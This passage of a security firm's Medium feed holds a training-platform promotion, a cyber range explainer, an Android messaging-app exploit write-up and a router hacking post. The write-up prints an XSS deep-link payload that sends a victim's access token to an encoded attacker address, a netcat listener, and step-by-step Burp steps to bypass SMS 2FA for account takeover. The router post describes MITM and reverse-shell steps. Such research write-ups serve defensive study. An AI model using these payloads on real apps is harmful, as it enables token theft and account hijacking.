creating more robust neural pathways and deeper understanding<a href="#fn12">[12]</a>.</p><p>The effectiveness of Purple Range’s approach aligns with broader research findings. A comprehensive study found that combining simulations with live activities and conventional classroom study produced the best outcomes in applied learning performance<a href="#fn13">[13]</a>. This validates Purple Range’s integrated approach, which combines theoretical knowledge with practical simulation exercises.</p><p><strong>Market Expansion and Growth</strong></p><p>The success of platforms like Purple Range has contributed to explosive growth in the purple team services market. Currently valued at <strong>$6.331 billion in 2025</strong>, the market is projected to expand at a CAGR of 11.5% through 2033<a href="#fn14">[14]</a><a href="#fn15">[15]</a>. This growth reflects increasing organizational recognition that traditional red teaming approaches are insufficient for modern cybersecurity challenges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*DqfsgsE6G42Oq-NuAVra2w.png" /></figure><p>Purple Team Services market growth showing projected expansion from $6.331B in 2025 to over $15B by 2033</p><p>The market expansion is driven by several factors that Purple Range helped bring to the forefront:</p><p>· <strong>Increased sophistication of cyberattacks</strong> requiring more nuanced defensive strategies</p><p>· <strong>Growing awareness of the importance of continuous security improvement</strong></p><p>· <strong>Rising adoption of cloud computing</strong> and the expanded attack surface it presents</p><p>· <strong>Regulatory compliance requirements</strong> demanding more comprehensive security training<a href="#fn14">[14]</a></p><p><strong>Evidence-Based Training Effectiveness</strong></p><p>Purple Range’s influence on the cybersecurity learning market is supported by substantial research validating simulation-based training methodologies. The platform’s approach addresses critical limitations of traditional cybersecurity education, where theory often fails to translate into practical capability.</p><p><strong>Improved Learning Outcomes</strong></p><p>Studies examining simulation-based cybersecurity training consistently demonstrate superior outcomes compared to traditional methods. Research has shown that simulations enhance cognitive cueing and improve metacognitive awareness by prompting learners to reflect on their learning progress<a href="#fn13">[13]</a>. This aligns perfectly with Purple Range’s methodology, which provides immediate feedback and allows students to iterate on their responses to different attack scenarios.</p><p><strong>Real-World Skill Development</strong></p><p>The hands-on nature of Purple Range training directly addresses employers’ primary concern: the gap between academic knowledge and practical capability<a href="#fn6">[6]</a>. The platform’s 50+ real-world attack scenarios ensure that students gain experience with the exact challenges they’ll encounter in their professional roles<a href="#fn3">[3]</a>. This practical focus has proven particularly valuable in India, where <strong>95% of cyber breaches in 2024 were traced to human error</strong><a href="#fn16">[16]</a>, highlighting the critical need for hands-on training that develops proper response instincts.</p><p><strong>Enhanced Incident Response Capabilities</strong></p><p>Purple Range’s emphasis on collaborative red and blue team exercises has proven instrumental in developing effective incident response skills<a href="#fn5">[5]</a>. The platform enables organizations to test their defense capabilities by pushing security teams to their maximum capabilities in a controlled environment<a href="#fn3">[3]</a>. This approach has been particularly valuable for Indian organizations, which face increasingly sophisticated attacks and need defenders who can respond effectively under pressure.</p><p><strong>Setting New Standards for Cybersecurity Education</strong></p><p>Purple Range’s influence extends beyond immediate training outcomes to shape industry standards and expectations. The platform has helped establish several key principles that are now being adopted across the cybersecurity education market:</p><p><strong>Simulation-First Approach</strong></p><p>Purple Range pioneered the integration of hyper-realistic simulations as a core component of cybersecurity education rather than a supplementary feature<a href="#fn2">[2]</a>. This approach has influenced other training providers to prioritize hands-on experience, contributing to a market-wide shift away from purely theoretical instruction.</p><p><strong>Purple Team Methodology</strong></p><p>The platform’s emphasis on purple team training — combining offensive and defensive perspectives — has gained significant traction in the broader market<a href="#fn17">[17]</a>. Research shows that <strong>purple team positions command salaries ranging from $57,000 to $186,000, representing an 18% premium over traditional single-discipline security roles</strong><a href="#fn17">[17]</a>. This salary premium reflects the market’s recognition of the value that Purple Range and similar platforms have demonstrated.</p><p><strong>Continuous Assessment and Improvement</strong></p><p>Purple Range’s scoring mechanism and performance evaluation capabilities have influenced industry expectations for training platforms<a href="#fn3">[3]</a>. Organizations now expect training programs to provide quantifiable measures of student progress and readiness, a standard that Purple Range helped establish.</p><p><strong>Industry Recognition and Competitive Positioning</strong></p><p>Purple Range’s success has not gone unnoticed in the competitive landscape of cybersecurity training platforms. While established players like Cyberbit, Cloud Range, and Immersive Labs offer cyber range solutions<a href="#fn18">[18]</a><a href="#fn11">[11]</a><a href="#fn19">[19]</a>, Purple Range has carved out a distinctive position through several key differentiators:</p><p><strong>India-Specific Focus</strong></p><p>Unlike many international platforms, Purple Range was designed with specific consideration for the Indian market’s unique needs and challenges<a href="#fn1">[1]</a><a href="#fn4">[4]</a>. This localized approach has proven particularly effective in addressing regional cybersecurity concerns and cultural factors that influence learning effectiveness.</p><p><strong>Comprehensive Career Development</strong></p><p>Purple Range goes beyond technical training to offer comprehensive career development, including placement assistance and industry connections<a href="#fn7">[7]</a><a href="#fn10">[10]</a>. This holistic approach has influenced market expectations, with students now expecting training providers to support their entire career journey rather than just delivering technical content.</p><p><strong>Academic-Industry Integration</strong></p><p>The platform’s success in bridging academic and industry requirements has influenced how other training providers approach curriculum development<a href="#fn4">[4]</a>. Organizations now recognize the importance of maintaining close industry relationships and continuously updating training content to reflect current threat landscapes.</p><p><strong>Future Implications and Market Evolution</strong></p><p>Purple Range’s influence on the cybersecurity learning market continues to evolve, with several trends suggesting its impact will deepen in the coming years:</p><p><strong>Adoption of AI and Advanced Technologies</strong></p><p>As cybersecurity threats become more sophisticated, training platforms are incorporating AI-powered personalized learning paths and adaptive content delivery<a href="#fn1">[1]</a>. Purple Range’s foundation in simulation-based learning positions it well for these technological enhancements.</p><p><strong>Expansion Beyond Traditional Boundaries</strong></p><p>The success of Purple Range has demonstrated the viability of simulation-based training for various cybersecurity disciplines, influencing the broader market to expand beyond traditional network security to include cloud security, IoT security, and emerging technology domains<a href="#fn20">[20]</a>.</p><p><strong>Global Market Influence</strong></p><p>While Purple Range initially focused on the Indian market, its success has attracted international attention. The platform’s methodologies and approaches are being studied and adapted by training providers worldwide, contributing to a global shift toward more practical, hands-on cybersecurity education.</p><p><strong>Measuring Success: Quantifiable Impact</strong></p><p>The influence of Purple Range on the cybersecurity learning market can be measured through several concrete indicators:</p><p><strong>Market Growth Acceleration</strong></p><p>The rapid growth of the purple team services market — from $5.676 billion in 2023 to a projected $12.190 billion by 2030<a href="#fn15">[15]</a> — reflects the market validation of approaches pioneered by platforms like Purple Range. This 11.5% CAGR significantly exceeds traditional cybersecurity training market growth rates.</p><p><strong>Educational Approach Transformation</strong></p><p>The shift toward simulation-based training across the industry represents a fundamental change in how cybersecurity education is conceptualized and delivered. Purple Range’s role in demonstrating the effectiveness of this approach has contributed to <strong>gamified learning and simulations</strong> becoming recognized as essential components of effective cybersecurity training<a href="#fn1">[1]</a>.</p><p><strong>Professional Recognition</strong></p><p>The growing recognition of purple team skills in the job market, with <strong>professionals with purple team experience showing faster progression to senior and leadership roles</strong><a href="#fn17">[17]</a>, validates the educational approach that Purple Range helped popularize.</p><p><strong>Conclusion: A Paradigm Shift in Cybersecurity Education</strong></p><p>Purple Range from PurpleSynapz has fundamentally influenced the cybersecurity learning market by demonstrating that effective cybersecurity education must be practical, hands-on, and closely aligned with real-world challenges. The platform’s success in India has catalyzed broader changes in how cybersecurity training is conceptualized, delivered, and evaluated globally.</p><p>The impact extends beyond immediate training outcomes to influence market standards, employer expectations, and educational methodologies. As the cybersecurity landscape continues to evolve, platforms like Purple Range that prioritize practical, simulation-based learning will likely play an increasingly important role in developing the skilled workforce needed to defend against sophisticated cyber threats.</p><p>The evidence is clear: Purple Range has not merely participated in the cybersecurity education market — it has helped reshape it. Through its innovative approach to simulation-based learning, comprehensive career development support, and demonstrable outcomes, the platform has established new benchmarks for what effective cybersecurity education should look like. As organizations worldwide grapple with expanding attack surfaces and increasingly sophisticated threats, the influence of Purple Range’s educational philosophy will likely continue to grow, cementing its role as a transformative force in cybersecurity education.</p><p>For aspiring cybersecurity professionals and organizations seeking to develop robust cyber defense capabilities, the message is clear: the future of cybersecurity education is practical, immersive, and collaborative — principles that Purple Range has championed from its inception and will continue to advance as the market evolves.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b976b21dcac6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What is‍ Cyber Range? ‍- A simple Cricket Analogy Perspective.]]></title>
            <link>https://medium.com/@purplesynapz/what-is-cyber-range-a-simple-cricket-analogy-perspective-66da708ffc7c?source=rss-b8f8be7b39ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/66da708ffc7c</guid>
            <dc:creator><![CDATA[PurpleSynapz]]></dc:creator>
            <pubDate>Mon, 03 Mar 2025 14:57:12 GMT</pubDate>
            <atom:updated>2025-03-03T15:09:36.876Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kmh511ChvD_hznZPdHuw_g.jpeg" /></figure><p><strong><em>Disclaimer: This article is purposefully kept long so as to cover most important aspects of Cyber Ranges. Cricket analogy is only for those who are trying to understand the Cyber Range concepts for the first time, others can ignore.</em></strong></p><h3>What is Cyber Range?</h3><p>Let me start with an analogy. Suppose you want to learn Cricket (India is cricket frenzy country) and you have started getting suggestions from your well-wishers that to become a good cricketer you need a good cricket bat, good quality ball, nice pitch, a high quality cricket kit, team players, few support people etc. What if someone tells that to fast track your learning and to become a real professional cricketer you need a cricket stadium. You learn, practice &amp; play how a real cricketer play their match. You know that if you have played well in a stadium your real matches will not be that different from what you have learned and practiced.</p><p>What cricket stadium does for the Cricketing world, Cyber Ranges does something similar for Cyber Security world. As per NIST Definition of Cyber Range -</p><p><em>“interactive, simulated representations of an organization’s local network, system, tools, and applications that are connected to a simulated Internet level environment. They provide a safe, legal environment to gain hands-on cyber skills and a secure environment for product development and security posture testing. A cyber range may include actual hardware and software or may be a combination of actual and virtual components. Ranges may be interoperable with other cyber range environments. The Internet level piece of the range environment includes not only simulated traffic, but also replicates network services such as webpages, browsers, and email as needed by the customer.”</em></p><h3>Types of Cyber Range</h3><p>Generally speaking, there are 4 types of Cyber Ranges. Though they all provide similar kind of services. The type of Cyber Range becomes more significant when they are mapped against the use cases for which they will be purchased and deployed.</p><h3>Simulation Cyber Range-</h3><p>This is the most preferred version of Cyber Range across the world where the primary use case is skill development &amp; infrastructure simulation. The objective here is to replicate the real-world traffic of an enterprise network in a simulated environment with the help of virtual machines. How closely one can match the real-world traffic (attack, defense, and normal traffic) is the main focus area in such type of Cyber Range.</p><p><strong>Pros -</strong></p><ul><li>Easy and Fast to deploy.</li><li>Low maintenance and operational cost.</li><li>Easy to upgrade and update the setup.</li><li>Cheaper than Overlay Cyber Ranges.</li><li>Can be deployed on general purpose servers supplied by vendors like Dell/HP/IBM etc.</li></ul><p><strong>Cons -</strong></p><ul><li>It is still a simulated environment and not the real one.</li><li>Performance issues may be experienced due to underlying Virtualization Infrastructure.</li></ul><p>They are designed on top of real networks, servers, and storage. They are almost a replica of a given enterprise network where everything is as close as the real world except they do not receive all the real-time production traffic.</p><p><strong>Pros -</strong></p><ul><li>High fidelity* as compared to other solutions.</li><li>Fast and predictive</li></ul><p>*fidelity- the degree of exactness with which something is copied or reproduced.</p><p><strong>Cons -</strong></p><ul><li>High Cost of acquisition.</li><li>High maintenance cost.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T6HwQEm6thI6QXCxNJmXHw.png" /><figcaption>Cyber Security Lab at NIT, Manipur. Tools used — Check Point, ArcSight, HP Routers, IXIA, etc. PurpleSynapz Co-Founder &amp; CTO, Ashok at NIT Manipur (Nov 2013)</figcaption></figure><h3>Emulation Cyber Range -</h3><p>This type of range is an interconnection of multiple closed networks. Generally, it is used along with traffic generators so as to generate any kind of traffic that is technically possible in a closed environment.</p><p><strong>Pros -</strong></p><ul><li>Quality &amp; quality of traffic is excellent.</li><li>Application stress testing can also be performed.</li></ul><p><strong>Cons -</strong></p><ul><li>It offers moderate fidelity as the traffic is coming from emulated software.</li><li>Cost of traffic generators are generally high.</li></ul><h3>Hybrid -</h3><p>As the name suggests it is a combination of any of the above Cyber Ranges.</p><p><strong>Pros -</strong></p><p><strong>Cons -</strong></p><ul><li>Complex integration process.</li><li>Higher maintenance and operational cost.</li></ul><h3>Cyber Range Use Cases</h3><p>Cyber Ranges are generally used for the following use cases. End customer/user has to decide how they want to invest and use the Cyber Range.</p><h3>Training platform-</h3><p>One of the most common use of Cyber Range is to train participants of any experience in a simulated environment. The training usually focuses on following domains:</p><p>Red Team, Blue Team, Incident Response, Threat Hunting, Cyber Forensic, Product Training, Red Vs Blue Game, CTF (Capture the flag) etc.</p><p>Cyber Ranges works well when it is delivered with best quality training materials.</p><p>Like in Cricketing world, every player needs a good coach and proper playing ground to teach them the nuances of the game. Only then you can be developed as good batsman, bowler, fielder, all-rounder or may be an umpire or a scorer.</p><h3>Product Security Testing platform-</h3><p>I remember working on a VAPT project. We were cautious while performing pen-testing on the production network as any critical bug/vulnerability would have caused a serious damage to the systems. But consider the situation where a malicious user trying to breach your network, they for sure will have no mercy. They will continue with their attacks till the last possible stage. Why cannot the red team be allowed with similar powers to test the applications, security control devices and the associated processes so as to improve the security posture.</p><p>With Cyber Range platform, the Red Team has a complete freedom to launch multiple attack scenarios without worrying about the damage. This allows them to perform rigorous attacking scenarios to test how their security controls stand against real-life cyber attacks.</p><p><em>Like in cricketing world, you do not want your players underplay their skills due to restricted boundary. Let them hit the ball as hard as possible.</em></p><h3>Product development platform-</h3><p><em>Compare this requirement with something like introducing a new ball. Let the real players play the game with this new ball. If it works in trial matches that means the product is good for the next stage.</em></p><h3>Skill assessment platform-</h3><p>Finding the right talent and training them has been the major challenge for every Industry and government organizations. Such pursuit requires time and effort, and considering the skill-gap present in the cybersecurity domain, the companies all around the world are finding it hard to match the rising level of cyber threats.</p><p>Even after serious due diligence the final list of resources who have been offered expected salaries based on expected skills does not match the actual skills demonstrated during project execution.</p><p>To attract best talent, Cyber Range can be of huge relief, this platform can allow teams to assess specific skills and response time in a controlled and hyper-realistic environment. The practice allows right talent onboarding without wasting time in traditional assessment methods.</p><blockquote><em>This one is simple. Choose the best player for your franchise at best cost. Don’t go by experience or past records. Those who following IPL will not take time to understand this point.</em></blockquote><h3>Simulation platform -</h3><p>Customer creates the digital twin of their IT Core Infrastructure and uses the same for skill development customized for their Infrastructure. The simulation platform also offers Cyber Security posture enhancement. For example, the customer/partner can pick up the latest malware relevant for the customer and test whether the security control devices are able to protect against the malware. If not, fix it inside the Range and then port the solution into the production network. And also stress test the SIEM co-relation rules and see if they are effective or just kept at a bare minimum (default) working condition.</p><p><em>You have an overseas tournament and the pitch conditions are different there. You may want to create similar conditions at your local stadium so that the difference between practice and real match can be minimized.</em></p><h3>Sample Architecture of a Cyber Range.</h3><p>Cyber range consists of following main components.</p><ul><li><strong>Base Infrastructure</strong> — Physical Hardware, Public Cloud, Private Cloud</li><li><strong>Virtualization Layer</strong> — Cloudshell, Openstack, VMware ESXi, Microsoft Hyper-V, XenServer, KVM</li><li><strong>Virtual Machines</strong> — These Virtual machines represent real world server, router, firewall, web applications, Attacker machines and other core devices of a typical Enterprise.</li><li><strong>Normal User traffic</strong> — Traffic that is normal in nature such as web browsing, dns, ping, ssh, mail, syslogs, ntp etc)</li><li><strong>Application traffic</strong> — This is the traffic generated by normal users who are trying to access any web application server in Cyber Range.</li><li><strong>Malicious traffic</strong> — This is the traffic that is generated by malicious users. The purpose of such traffic is to bypass the security control devices and attack the servers and endpoints by exploiting the vulnerabilities.</li><li><strong>Attacker machines </strong>— These are external or internal devices that try to gain unauthorized access to applications and other core devices.</li><li><strong>Security Control Devices </strong>— These are the devices which will try to protect the applications and core devices from un-authorized access or attacks from malicious users.</li></ul><blockquote><strong><em>Here are some of the most common Security Control Devices that are part of Cyber Range solution.</em></strong></blockquote><ul><li>Firewall</li><li>NIDS &amp; HIDS</li><li>WAF</li><li>SIEM</li><li>Proxy Server</li><li>Sandboxing</li><li>Email Protection</li><li>End Point Protection</li><li>any many more.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*QIN0MYg0cOs-yqMAFUM8sw.png" /><figcaption>Components of Cyber Range, Courtesy — NIST.</figcaption></figure><h3>Things to consider while investing in Cyber Range Products.</h3><p>Here are a few important FAQs that will help you make an informed decision about deploying Cyber Range.</p><ul><li><strong><em>What is the primary use case for which you are planning to invest in Cyber Range?</em></strong></li></ul><p>Training, SOC use cases, Red Teaming, Skill assessment, Capture the Flag (CTFs), Product Testing, Digital twin, custom requirement, etc.</p><ul><li><strong><em>Will the Cyber Range be heavily utilized?</em></strong></li></ul><p>Will the Range be used 24x7 or Twice a week or a few days in a month or Only during a specific period, etc.</p><ul><li><strong><em>Shall I go for a cloud or on-premises solution?</em></strong></li></ul><p>If the utilization is more then it would be economical to deploy an on-prim solution else pay as you go model is good.</p><ul><li><strong><em>Which all OEM tools are supported in Cyber Range Lab?</em></strong></li></ul><p>Almost of devices have their virtual avatars so it will not be a problem to integrate any new devices. Go for a solution that offers maximum customization.</p><ul><li><strong><em>Will I be using my own resources to manage and run the Cyber Range Lab?</em></strong></li></ul><p>If the use case is basic training, then you need not worry as most of the Cyber Range labs do not need a senior dedicated engineer to run the Lab. However, If your use cases are more complex then you may want to hire a senior resource to manage the Cyber Range lab. You may also ask for Trainer on demand.</p><ul><li><strong><em>How to add custom scenarios in Cyber Range?</em></strong></li></ul><p>Look for a product that allows your team to add scenarios based on data and information available with your team. With little or no intervention from the OEM vendor, your team should be able to add more scenarios.</p><ul><li><strong><em>Who will provide the training content?</em></strong></li></ul><p>Needless to say Cyber Ranges are complex products and some amount of hand-holding would be needed before engineers start using them to learn new skills. You may want to look for an integrated solution where course content is also part of the final solution.</p><p><strong><em>How many people can be trained in a single batch?</em></strong></p><p>You need to check how many people can utilize the Cyber Range platform at one go. Generally speaking, from Training use case perspective, 10–15 engineers in a single batch is considered a good choice.</p><p><strong><em>Which vendors are providing Cyber Range solution?</em></strong></p><p><strong>Here is the list in alphabetical order.</strong></p><ul><li><strong>Cisco</strong> (USA)</li><li><strong>Cloud Range</strong> (USA)</li><li><strong>CyberBit</strong> (Israel)</li><li><strong>Guardtime</strong> (Estonia)</li><li><strong>IBM</strong> (USA)</li><li><strong>IXIA</strong> (USA)</li><li><strong>Kleared4</strong> (USA)</li><li><strong>Palo Alto</strong> (USA)</li><li><strong>PurpleSynapz</strong> (India)</li><li><strong>RangeForce</strong> (USA)</li><li><strong>Raytheon</strong> (USA)</li></ul><h3>References</h3><p><a href="https://www.ecs-org.eu/documents/uploads/understanding-cyber-ranges-from-hype-to-reaity.pdf">https://www.ecs-org.eu/documents/uploads/understanding-cyber-ranges-from-hype-to-reaity.pdf</a></p><p>https://www.nist.gov/document/cyber-range-guide</p><p><a href="https://support.ixiacom.com/sites/default/files/resources/whitepaper/915-6729-01-cyber-range.pdf">https://support.ixiacom.com/sites/default/files/resources/whitepaper/915-6729-01-cyber-range.pdf</a></p><p><a href="https://www.cisco.com/c/dam/global/en_hk/assets/event/cisco_connect_2015/pdf/4-3.pdf">https://www.cisco.com/c/dam/global/en_hk/assets/event/cisco_connect_2015/pdf/4-3.pdf</a></p><p><a href="https://www.cyberbit.com/platform/cyber-range/">https://www.cyberbit.com/platform/cyber-range/</a></p><p><a href="https://pergamos.lib.uoa.gr/uoa/dl/frontend/file/lib/default/data/2864976/theFile">https://pergamos.lib.uoa.gr/uoa/dl/frontend/file/lib/default/data/2864976/theFile</a></p><p><a href="https://cybersecurityventures.com/10-hot-cyber-range-companies-to-watch-in-2020/">https://cybersecurityventures.com/10-hot-cyber-range-companies-to-watch-in-2020/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=66da708ffc7c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Message Stealing]]></title>
            <link>https://medium.com/@purplesynapz/message-stealing-9b4df40e72b6?source=rss-b8f8be7b39ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/9b4df40e72b6</guid>
            <dc:creator><![CDATA[PurpleSynapz]]></dc:creator>
            <pubDate>Wed, 11 Sep 2024 08:12:35 GMT</pubDate>
            <atom:updated>2024-09-11T08:12:35.871Z</atom:updated>
            <content:encoded><![CDATA[<p>There are popular messaging apps that don’t require a very complex exploits to steal users’ messages, if app developers make a couple of simple mistakes; Android’s strong security model and message encryption won’t help. Multiple low-hanging fruit vulnerabilities in an application can lead into a single impactful chained exploitation. Let’s uncover topics ranging from Android AppSec to Web Security to understand the same through a messaging application popular in a country. With more than 100 million downloads from the Google Playstore, a popular chat app. It was similar to “all-in” messaging apps including everything into one app like mailing, eshopping, ride &amp; payment services etc….</p><h3>Entry Point:</h3><p>The WebView is the main entry point and very interesting from an attacker’s point of view:</p><p>It can be started with a link which is exported (e.g., adb shell am start TargetApp://buyer) &amp; has Javascript enabled (settings.setJavaScriptEnabled(true);)</p><p>To send data to other <strong>non-exported</strong> app components via JavaScript by it’s intent:// <a href="https://www.mbsd.jp/Whitepaper/IntentScheme.pdf">scheme</a> supports. For example, the URI &quot;intent:#Intent;component=com.TargetApp.talker/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=https://foo.bar;end&quot; loads the website https://foo.bar in a WebView without any sanitization allowing access potentially to any app component.</p><p>Also, the access token is leaked in the Authorization Header which can be seen in GET request by following in below steps:</p><ul><li>Run $ adb shell am start TargetApp://buyer to start the targeted WebView.</li><li>Since WebView.setWebContentsDebuggingEnabled(true); you can use chrome://inspect in Chrome to debug it.</li><li>Start a Netcat listener in a terminal: $ nc -l 5445</li><li>Go to the Console tab and enter document.location=&quot;http://&lt;your-IP-address&gt;:5445/&quot;;</li></ul><p>Thus if a way to run our own XSS inside the targeted webview can be figured out would give the ability to steal the user’s access token and to start arbitrary app components when the user clicks on a malicious deep link.</p><p>With certain code analysis it’s recognized that the fragment of the URL , query parameters and path can be controlled. However, everything is prefixed with the String a52763d which is Target URL in our case. That means if a user clicks on the deep link TargetURL://buyer/foo the URL https://buyer.TargetApp.com/foo gets loaded in the targeted WebView.</p><h3>DOM XSS for URL Redirection:</h3><p>Analysing https://buyer.TargetURL.com we identified the endpoint <a href="https://buyer.targeturl/">https://buyer.TargetURL</a>.com/auth/0/cleanFrontRedirect?returnUrl= which allowed redirection to any TargetApp.com domain. This vastly increased the chances to find a XSS flaw as there are many many subdomains underTargetApp.com</p><p>Googled for site:*.TargetApp.comled us to <a href="https://m.shoppinghow.kakao.com/m/search/q/yyqw6t29">https://m.shoppinghow.TargetApp.com/m/search/q/92t6wqyy</a></p><p>Browsing it’s DOM led us into discovery of innerHTML where below payload got executed. &quot;&gt;&lt;img src=x onerror=alert(1);&gt;</p><p>Thus we could run arbitrary JavaScript in the Targeted WebView when the user clicked on a deep link such as TargetApp://auth/0/cleanFrontRedirect?returnUrl=https://m.shoppinghow.TargetApp.com/m/product/46977977910052Y/q:&quot;&gt;&lt;img src=x onerror=alert(1);&gt;.</p><p>This XSS can be weaponized to forward the token to an attacker controlled server with below payload</p><blockquote>TargetApp://buy/auth/0/cleanFrontRedirect?returnUrl=<a href="https://m.shoppinghow.kakao.com/m/product/Q24620753380/q">https://m.shoppinghow.TargetApp.com/m/product/08335702642Q/q</a>:&quot;&gt;&lt;img src=x onerror=”document.location=atob(‘aHR0cDovLzE5Mi4xNjguMTcuODA6NTQ0NS8=’);”&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*4aAG6GKn9iWY4grEo10Upw.png" /></figure><p>Now that the attacker has victim’s access token, he can use it to take over the victim’s Mail account that was used for messenger app registration!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*FcnitPxSdof34RpRRea3Kg.png" /></figure><p>With the grabbed token, the messenger’s mail can be accessed using Burpsuite.</p><h3>Password Reset bypassing SMS 2FA with Burp</h3><p>Once victim’s mail is accessed, the attacker can reset the password of the messenger’s mail account.</p><ul><li>Using the Burp browser, navigate to the Reset Password link.</li><li>On the subsequent page (Reset password for your TargetApp Account), enter the victim’s email address. Before proceeding, make sure to enable the Intercept feature in Burp.</li><li>In Burp, forward all requests until you encounter a POST request to /Target_accounts/check_verify_type_for_find_password.json. Right-click on this request and select Do intercept &gt; Response to this request.</li><li>In the response, modify the verify_types value to 0. This action will ensure the verification code is sent to the victim&#39;s email address rather than their phone.</li><li>Disable Intercept in Burp and return to the Burp browser. Click on the option to use the email address.</li><li>On the following page, input the victim’s nickname and email address, then click the Verify button.</li><li>Open a new browser tab and paste the Burp Repeater URL to access the user’s email account (as described earlier). If you see a message indicating the session has expired, clear the browser’s cache.</li><li>Retrieve the verification code from the email and enter it to proceed to the next page.</li><li>On the page titled “Additional user verification will proceed to protect your Account.”, re-enable Intercept in Burp. Input some values and click Confirm. When you see a POST request to /Target_accounts/check_phone_number.json, adjust the iso_code and phone_number (without the country code) parameters in the request body. Forward the request and then disable Intercept again.</li><li>Finally, you can set a new password.</li></ul><p>Once the password is reset, the victim’s message account can be accessed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*OJiAZtw-7qEZAQ6F1Ync-Q.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9b4df40e72b6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Rattling Routers]]></title>
            <link>https://medium.com/@purplesynapz/rattling-routers-b04730cea1eb?source=rss-b8f8be7b39ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/b04730cea1eb</guid>
            <dc:creator><![CDATA[PurpleSynapz]]></dc:creator>
            <pubDate>Mon, 15 Jul 2024 07:25:38 GMT</pubDate>
            <atom:updated>2024-07-15T07:25:38.394Z</atom:updated>
            <content:encoded><![CDATA[<p>Routers are one of the most commonly used IOT devices. Hence we take a sneak peak into Router Security</p><p><em>Note: This is a popularly used router. The specific details hence are out of scope &amp; is intended for education purpose only.</em></p><p>The firmware of the Router can be accessed like below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*5q2iKbpL_V7mzkxaUpmwIA.png" /></figure><p>Zooming into the voltage, ground, Transmission &amp; Receiver Pins as below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/264/1*jk8-A0oPd_2e9eCCb2xETw.png" /></figure><p>Confirming Connectivity with “sudo dmesg” shows us the connectivity logs as below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*IHdfC5FzaNUIg7NBWEtwQg.png" /></figure><p>So as to interact with the firmware it’s first important to identify the rate at which the number of signal elements or changes to the signal occurs per second when it passes through a transmission medium<strong> </strong>also known as Baud rate. This although common across range of devices or could be found in the device manuals as below; If not, the manual way is requires one to use logic &amp; frequency analyzers to deduce the same.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*ZF7GoxxgwGtJH_c6Y4Ko9A.png" /></figure><p>Once baud rate is identified, we can connect with the firmware Terminal as below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*3QxZwE0lC6Wf_UJ9_j895g.png" /></figure><p>Vulnerability: Ideally connecting with the firmware terminal should require us to credentials but in this case, no credentials are required to access root terminal!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*p8_6x0BSpafOPVfoAy5lSA.png" /></figure><p>To connect the router with LAN as below for the post exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*_qES9c0NBwTps4FOdqZFzw.png" /></figure><p>I) Firmware Extraction:</p><p>The firmware files defines the functionalities of the device. In this device, the firmware files can be seen as below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*rguyb6jEoG6y5HfAnpjmBQ.png" /></figure><p>The reversing &amp; analysis of these files can’t be done within the firmware itself due to its very limited linux command support. It is hence imperative to extract or transfer these files to our system. This can be achieved by mounting an external disk upon the firmware as we see below or importing &amp; executing netcat binaries from within the firmware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*hc6RTCcp5yO0WMtYfwf8OQ.png" /></figure><p>Once firmware is extracted, we can reverse the firmware files to find vulnerabilities somewhat similar to how we did it in previous post.</p><p>II) Encrypted Traffic Interception:</p><p>Apart from finding vulnerabilities in the router firmware, the networking configurations can be altered for an MITM attack. The conventional way to do this is to replace certificate files as below. Although, depending upon the firmware this may not be the option &amp; alternative chain of tools may be required to be leveraged.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2z47Md8Y-Nwx33JKEHv9AA.png" /></figure><p>Once MITM is set, as seen below we are able to intercept encrypted files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*PaCiNcRfC58PXokfJgdsKw.png" /></figure><p>III) Thirdly, we can also introduce a reverse shell like the one below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*Qmy1NF6fQnecG3ZZfFtn_A.png" /></figure><p>This reverse shell however will be required to be compiled in a way that it can be executed by the ARM based firmware running a basic linux. This may require one to put efforts into the cross compilation, finding a suitable compiler. Further the execution of the compiled binary may require a tool chain so as to receive the shell from within the router like one below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*_MSfuguny6tvGE5J-lpiEw.png" /></figure><p>Such issues poses a significant risk in the supply chain security.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b04730cea1eb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IoT Firmware Exploit Derivation]]></title>
            <link>https://medium.com/@purplesynapz/iot-firmware-exploitation-5a71b30507f0?source=rss-b8f8be7b39ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/5a71b30507f0</guid>
            <dc:creator><![CDATA[PurpleSynapz]]></dc:creator>
            <pubDate>Wed, 19 Jun 2024 10:02:00 GMT</pubDate>
            <atom:updated>2024-06-19T23:59:50.951Z</atom:updated>
